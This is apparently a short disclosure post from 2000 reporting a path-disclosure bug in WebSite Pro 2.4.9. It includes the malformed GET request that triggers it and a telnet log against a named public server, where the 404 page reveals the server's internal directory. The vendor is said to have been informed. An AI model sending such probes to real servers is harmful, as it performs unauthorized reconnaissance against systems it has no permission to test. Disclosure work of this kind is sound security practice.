I got a tip from Noah Rathaus about WebSite Pro latest version(2.4.9). He mentioned a server
where WebSite Pro. 2.4.9 is run.
I discovered, that also the latest version is vulnerable to the bug of revealing webdirectories.
In the new version there must be made a change to retrieve the directoryname.
 
When you connect to a server send the command line:
 
GET /HTTP1.0 \
 
You have now to add a space before the last backspace of the commandline.
That makes the server respond with a "404" error and and prints the directoryname.
 
 
Here is the part from the logfile of Windows Telnet Client:
 
website.oreilly.com:
----------------------------------------------------start-------------------------------------------------------
 
GET /HTTP1.0 \
 
HTTP/1.0 404 Not Found
Date: Thu, 13 Jan 2000 20:47:12 GMT
Server: WebSitePro/2.4.9
Accept-ranges: bytes
Content-type: text/html
Content-length: 216
 
<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD>
                                               <BODY bgcolor="White"><H2>404 Not
 Found</H2>
           The requested URL was not found on this server:<P><CODE>/HTTP1.0<P>(c
:\1Web\docs\website\HTTP1.0)</CODE><P>
                                      </BODY></HTML>
--------------------------------------------------end--------------------------------------------------------
 
Here it shows us the directory "c:\1Web\docs\website\".
 
 
Status: Vendor contacted and informed about the bug.
Expecting statement about fix.
